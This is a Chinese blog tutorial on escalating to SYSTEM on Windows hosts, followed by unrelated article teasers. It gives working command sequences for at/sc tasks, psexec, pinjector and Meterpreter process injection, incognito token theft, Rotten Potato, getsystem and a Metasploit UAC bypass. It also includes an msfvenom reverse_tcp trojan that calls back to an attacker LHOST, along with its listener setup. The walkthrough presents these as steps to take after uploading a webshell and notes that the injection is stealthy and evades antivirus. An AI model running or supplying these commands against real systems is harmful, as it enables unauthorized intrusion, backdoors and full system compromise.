Windows权限提升—令牌窃取、UAC提权、进程注入等提权
Windows权限提升—令牌窃取、UNC提权、进程注入等提权
- 1. 前言
- 2. at本地命令提权
- 2.1. 适用范围
- 2.2. 命令使用
- 2.3. 操作步骤
- 2.3.1. 模拟提权
- 2.3.2. at配合msf提权
- 2.3.2.1. 生成木马文件
- 2.3.2.2. 设置监听
- 2.3.2.3. 设置反弹
- 2.3.2.4. 查看反弹效果
- 3. sc本地命令提权
- 3.1. 适用范围
- 3.2. 命令使用
- 3.3. 操作步骤
- 4. ps提权
- 4.1. 适用范围
- 4.2. 下载链接
- 4.3. 命令使用
- 4.4. 操作步骤
- 4.4.1. 下载psexec.exe工具
- 4.4.2. 执行psexec.exe工具
- 5. 进程迁移注入提权
- 5.1. 前提条件
- 5.2. pinjector.exe进程注入
- 5.2.1. 下载链接
- 5.2.2. 使用命令
- 5.2.3. 操作步骤
- 5.2.3.1. 列出所有进程
- 5.2.3.2. 绑定进程
- 5.2.3.3. 连接进程
- 5.3. MSF进程注入
- 5.3.1. 查看进程
- 5.3.2. 迁移进程
- 6. 令牌窃取提权
- 6.1. 注意事项
- 6.2. MSF令牌窃取提权
- 6.3. 烂土豆提权
- 6.3.1. 烂土豆提权原理
- 6.3.2. 适用版本
- 6.3.3. 下载链接
- 6.3.4. 操作步骤
- 6.3.4.1. 注意事项
- 6.3.4.2. 使用烂土豆提权
- 7. MSF自动化提权
- 7.1. getsystem提权
- 7.1.1. getsystem原理
- 7.1.2. 提权操作
- 7.2. uac提权
- 7.2.1. 提权操作
- 7.2.1.1. 确认getsystem无法提权
- 7.2.1.2. 搜索uac
- 7.2.1.3. 使用uac
1. 前言
在之前的文章中已经对Windows的权限提升进行了介绍,这里同样不再赘述,如果想要去了解Windows权限提升可以看以下的文章,同时也将Windows权限提升其它的几种办法也放在下面的文章中。
同时本来应该还写一篇第三方全家提权的,但是在实际测试过程中发现,有些第三方提权,如果在电脑上都会自动更新,比如向日葵,低版本的直接无法连接向日葵官方的服务器,那么提个毛权限的啊。
Windows权限提升—溢出提权
Windows权限提升—MySQL数据库提权
Windows权限提升 —SQL Server/MSSQL数据库提权
2. at本地命令提权
at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。
2.1. 适用范围
at本地命令提权主要是用于在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将 Administrators 组下的用户权限提升到 SYSTEM。
其它系统已经不支持提权了。
2.2. 命令使用
语法:at 时间 命令
例子:at 10:45PM calc.exe
2.3. 操作步骤
2.3.1. 模拟提权
这里可以模拟一下操作提权,使用2003系统,设定一个定时任务,设定10:45分启动cmd .exe,这里可以通过添加“/interactive”开启界面交互模式。
通过执行定时任务后就会提升权限。
at 10:45 /interactive cmd
2.3.2. at配合msf提权
可以在msf下生成一个木马文件,然后在shell交互中设置at命令进行执行程序,上线后即为system权限。
2.3.2.1. 生成木马文件
通过命令生成一共木马文件,然后将这个木马文件放入2003中去执行,这里其实就是模拟在上传webshell后,上传后门木马文件,然后执行木马文件,只是这里为了方便节省了,直接上传一个木马即可。
至于运行木马就不演示了。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.20 LPORT=4444 -f exe > shell.exe
2.3.2.2. 设置监听
这里设置一个监听,用于接收反弹回来的shell。
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.20
set LPORT 4444
run
2.3.2.3. 设置反弹
这里在接收到msf木马反弹回来的shell后,进入shell后执行下面的命令。
at 11:11 C:\111\shell.exe
2.3.2.4. 查看反弹效果
通过另外再启动一个监听端口的,来查看新反弹回来的权限是什么,可以看到到11点11分的时候执行shell.exe,反弹回来的就是system权限。
getuid
3. sc本地命令提权
sc是用于与服务控制管理器和服务进行通信的命令行程序,提供的功能类似于控制面板中管理工具项中的服务。
3.1. 适用范围
网上说在windows 7/8,Windows server2003、2008、2012、2016上都能使用,这里的都能只适用于sc这条命令本身。
而利用sc进行提权,通过测试,目前好像只有2003可以。
3.2. 命令使用
sc Create systemcmd binPath= "cmd /K start" type= own type= interact #其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact,cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口。
sc start syscmd ###启动服务!
3.3. 操作步骤
这里就是先执行第一条命令,然后在执行第二条命令即可,这里我执行失败是由于我之前已经测试过了,正常情况下应该是第一条命令执行后显示成功。第二条就是这样的,这不不受之前测试的影响。
4. ps提权
pstools是微软官方工具,是为windows提供的第三方工具库。
4.1. 适用范围
在Windows server 2003/2008/2012/2016中测试都是能用的,在Windows 7/8/10由于需要调用服务,而个人主机通常没有这类服务所以就会出现调用失败的情况。
4.2. 下载链接
PsTools
4.3. 命令使用
psexec.exe -accepteula -s -i -d cmd.exe ##前面的psexec.exe是工具包中的工具
4.4. 操作步骤
4.4.1. 下载psexec.exe工具
通过页面上的下载tool工具集合,在压缩包中找到psexec.exe工具。
4.4.2. 执行psexec.exe工具
将psexec.exe工具上传至需要提权的系统中,然后执行命令。
5. 进程迁移注入提权
进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。
5.1. 前提条件
这里如果使用的是web权限是无法执行的,必须获取到类似与administrator的权限才能进行进程注入。同时这类提权是不会被杀毒软件拦截的,这是系统的一种特性。
5.2. pinjector.exe进程注入
pinjector工具实现进程注入,这里需要先下载工具,然后将工具上传需要提权的系统中即可。
5.2.1. 下载链接
pinjector工具
5.2.2. 使用命令
pinjector.exe -l ##列取所有进程
pinjector.exe -p <pid> cmd <port> ##选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口
5.2.3. 操作步骤
5.2.3.1. 列出所有进程
这里通过命令查看所有进程的权限。
5.2.3.2. 绑定进程
通过使用命令将权限绑定至system权限的进程中,这里选在进程最好绑定系统进程,这样能够实现开机自启。
5.2.3.3. 连接进程
这里使用kali设置个nc连接一下即可。
nc -nv 192.168.10.200 5555
5.3. MSF进程注入
首先需要生成一个木马然后让其上线,并连接上去,这里我就用之前已经生成好的木马,就不再生成了,在上面也提到过MSF生成木马的命令。
5.3.1. 查看进程
在反弹回来的界面输入命令,然后查看所有进程已经相应的权限。
ps ##查看进程
5.3.2. 迁移进程
使用命令将进程迁移进拥有system权限的进程中,通过迁移后,再执行命令就可以看到权限已经提升为system了。
migrate PID 迁移进程,这个pid是你选择进程的id号
6. 令牌窃取提权
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
而令牌窃取就是通过假冒一个网络中的另一个用户进行各类操作。
6.1. 注意事项
不能保证所有的服务器都能实现令牌窃取,比如我使用Windows server 2003服务器的时候,就没出现NT AUTHORITY\SYSTEM,而没出现NT AUTHORITY\SYSTEM就无法提权到system权限。
6.2. MSF令牌窃取提权
首先需要将木马上传至需要提权的服务器中,然后执行命令进行令牌窃取提权。
use incognito
list_tokens -u #列出有的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌
6.3. 烂土豆提权
6.3.1. 烂土豆提权原理
烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户。
欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端,对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的,模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
6.3.2. 适用版本
Windows 7/8/10,Windows server 2008/2012
6.3.3. 下载链接
烂土豆ms16-075
6.3.4. 操作步骤
这里首先需要将烂土豆工具给上传至需要提权的机器中,然后进行执行。
6.3.4.1. 注意事项
这里网上的教程需要先查看一些条件,我个人的理解是,不如直接进行提权,能成功则能成功,不能成功那就是不能成功,且在现实的环境中,很多提权都会遇到问题。
6.3.4.2. 使用烂土豆提权
首先执行potato.exe程序,然后再去加载incoginto功能,其次列出目标机器可窃取的令牌,然后在进行窃取。
execute -cH -f ./potato.exe ##执行烂土豆程序
use incognito ##加载窃取功能
list_tokens -u ##查看可窃取的令牌
impersonate_token "NT AUTHORITY\SYSTEM" ##使用令牌
7. MSF自动化提权
这个提权其实很简单,这个MSF自动化提权和之前在溢出提权中提到的自动化提权是不一样的,溢出提权中提到的自动化提权是通过比对补丁信息进行提权,而这个是自动化提权是直接输入命令后,MSF自动执行,只会显示提权成功与失败。
7.1. getsystem提权
7.1.1. getsystem原理
- getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
- getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
- Windows服务已启动,导致与命名管道建立连接。
- 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
7.1.2. 提权操作
这里和其它都是一样的,首先需要将木马连接上msf,然后输入命令进行提权。
getsystem ##自动化提权
7.2. uac提权
UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。
也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。
7.2.1. 提权操作
7.2.1.1. 确认getsystem无法提权
这里在反弹回来的时候测试一下getsystem是否无法提权。
7.2.1.2. 搜索uac
这里先搜索uac,因为这里面有些uac可能对不同的系统会有不同的作用。
search uac ##搜索
7.2.1.3. 使用uac
这里我们使用的是Windows7,那么我们就使用exploit/windows/local/ask来执行。
use exploit/windows/local/ask ##选择模块
sessions ##查看后台进程
set session 1 ##选择进程
set lport 5555 ##设置监听端口,有时候返回回来会出现错误,所以就另起一个监听。
这里查看一下监听,看看返回的权限,然后在返回的权限中再次使用getsystem,发现能够提权到system权限。
相关文章:

Windows权限提升—令牌窃取、UAC提权、进程注入等提权
Windows权限提升—令牌窃取、UNC提权、进程注入等提权1. 前言2. at本地命令提权2.1. 适用范围2.2. 命令使用2.3. 操作步骤2.3.1. 模拟提权2.3.2. at配合msf提权2.3.2.1. 生成木马文件2.3.2.2. 设置监听2.3.2.3. 设置反弹2.3.2.4. 查看反弹效果3. sc本地命令提权3.1. 适用范围3.…...

不做孔乙己也不做骆驼祥子
对教书育人的探讨前言一、为什么要“育人”1.育人为先2.育人是快乐的二、怎么“育人”前言 借着本次师德师风建设的主题,跟各位老师谈一谈对于“育人”的一些观点,和教育的一些看法。本文仅代表自己的观点,有不到位的地方,大家可以…...

ChatGPT原理解析
文章目录Transformer模型结构构成组件整体流程GPT预训练微调模型GPT2GPT3局限性GPT4相关论文Transformer Transformer,这是一种仅依赖于注意力机制而不使用循环或卷积的简单模型,它简单而有效,并且在性能方面表现出色。 在时序模型中&#…...
常用算法实现【必会】:sort/bfs/dfs
文章目录常用排序算法实现(Go版本)BFS 广度优先遍历,利用queueDFS 深度优先遍历,利用stack前序遍历(根 左 右)中序遍历(左根右)后序遍历(左 右 根)BFS/DFS 总…...

瑟瑟发抖吧——用了这款软件,我的开发效率提升了50%
一、前言 开发中,一直听到有人讨论是否需要重复造轮子,我觉得有能力的人,轮子得造。但是往往开发周期短,用轮子所节省的时间去更好的理解业务,应用到业务中,也能清晰发现轮子的利弊,一定意义上…...

笔记本只使用Linux是什么体验?
个人主页:董哥聊技术我是董哥,嵌入式领域新星创作者创作理念:专注分享高质量嵌入式文章,让大家读有所得!近期,也有朋友问我,笔记本只安装Linux怎么样,刚好我也借此来表达一下我的感受…...

pipeline业务发布
业务环境介绍公司当前业务上线流程首先是通过nginx灰度,dubbo-admin操作禁用,然后发布上线主机,发布成功后,dubbo-admin启用,nginx启用主机;之前是通过手动操作,很不方便,本次优化为…...

【巨人的肩膀】JAVA面试总结(七)
💪MyBatis 1、谈谈你对MyBatis的理解 Mybatis是一个半ORM(对象关系映射)框架,它内部封装了JDBC,加载驱动、创建连接、创建statement等繁杂的过程,开发者开发时只需要关注如何编写SQL语句,可以…...

Python满屏表白代码
目录 前言 爱心界面 无限弹窗 前言 人生苦短,我用Python!又是新的一周啦,本期博主给大家带来了一个全新的作品:满屏表白代码,无限弹窗版!快快收藏起来送给她吧~ 爱心界面 def Heart(): roottk.Tk…...

Spring学习流程介绍
Spring学习流程介绍 Spring技术是JavaEE开发必备技能,企业开发技术选型命中率>90%; Spring有下面两大优势: 简化开发: 降低企业级开发的复杂性 框架整合: 高效整合其他技术,提高企业级应用开发与运行效率 Spring官网: https://spring.io/ Spring发展…...

杭银消金基于 Apache Doris 的统一数据查询网关改造
导读: 随着业务量快速增长,数据规模的不断扩大,杭银消金早期的大数据平台在应对实时性更强、复杂度更高的的业务需求时存在瓶颈。为了更好的应对未来的数据规模增长,杭银消金于 2022 年 10 月正式引入 Apache Doris 1.2 对现有的风…...

Flink学习笔记(六)Time详解
一、Flink中Time的三种类型: Stream数据中的Time(时间)分为以下3种: 1.Event Time(事件产生的时间): 事件的时间戳,通常是生成事件的时间。Event time 是事件本身的时间,…...

「Vue面试题」在项目中你是如何解决跨域的?
文章目录一、跨域是什么二、如何解决CORSProxy一、跨域是什么 跨域本质是浏览器基于同源策略的一种安全手段 同源策略(Sameoriginpolicy),是一种约定,它是浏览器最核心也最基本的安全功能 所谓同源(即指在同一个域&…...

java八股文--数据库
数据库1.索引的基本原理2.聚簇和非聚簇索引的区别3.mysql索引的数据结构以及各自的优劣4.索引的设计原则5.事务的基本特性和隔离级别6.mysql主从同步原理7.简述MyISAM和InnoDB的区别8.简述mysql中索引类型及对数据库性能的影响9.Explain语句结果中各个字段分别表示什么10.索引覆…...
vue中名词解释
No名称略写作用应用场景其他1 单页面应用 (Single-page application) SPA 1,控制整个页面 2,抓取更新数据 3,无需加载,进行页面切换 丰富的交互,复杂的业务逻辑的web前端一般要求后端提供api数据…...

基于Java+SSM+Vue的旅游资源网站设计与实现【源码(完整源码请私聊)+论文+演示视频+包运行成功】
博主介绍:专注于Java技术领域和毕业项目实战 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇🏻 不然下次找不到哟 Java项目精品实战案例(200套) 目录 一、效果演示 二、…...

用于人工智能研究的开源Python微电网模拟器pymgrid(入门篇)
pymgrid是一个开源Python库,用于模拟微型电网的三级控制,允许用户创建或自行选择的微电网。并可以使用自定义的算法或pymgrid中包含的控制算法之一来控制这些微电网(基于规则的控制和模型预测控制)。 pymgrid还提供了与OpenAI Gy…...

运算放大器:电压比较器、电压跟随器、同相比例放大器
目录一、单限电压比较器二、滞回电压比较器三、窗口电压比较器四、正点原子直流电机驱动器电路分析实战1、电压采集电路2、电流采集电路3、过流检测电路Ⅰ、采用分压后的输入电压:Ⅱ、采用理想电压源的输入电压:Ⅲ、同相输入电压采用的是非理想电压源&am…...

Vector - CAPL - 实时时间on *(续2)
继续继续。。。四、键盘事件这个键盘事件是我个人起的名字,为了方便与其他事件进行区分,为什么要把这一个单独拉出来说呢,因为它的用处实在是太广泛了,基本只要是使用CANoe做一些基本的自动化测试小工具,都会用到它&am…...
数据质量管理的四个阶段
然而,我们需要按照什么流程来对数据质量进行有效的管控,从而提升数据质量,释放数据价值?一般来讲,数据质量控制流程分为4个阶段:启动、执行、检查、处理。在管控过程中这4个阶段需不断循环,螺旋…...
基于算法竞赛的c++编程(28)结构体的进阶应用
结构体的嵌套与复杂数据组织 在C中,结构体可以嵌套使用,形成更复杂的数据结构。例如,可以通过嵌套结构体描述多层级数据关系: struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?
编辑:陈萍萍的公主一点人工一点智能 未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战,在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...

装饰模式(Decorator Pattern)重构java邮件发奖系统实战
前言 现在我们有个如下的需求,设计一个邮件发奖的小系统, 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其…...

智慧医疗能源事业线深度画像分析(上)
引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...
React Native在HarmonyOS 5.0阅读类应用开发中的实践
一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强,React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 (1)使用React Native…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...
是否存在路径(FIFOBB算法)
题目描述 一个具有 n 个顶点e条边的无向图,该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序,确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数,分别表示n 和 e 的值(1…...
Element Plus 表单(el-form)中关于正整数输入的校验规则
目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入(联动)2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...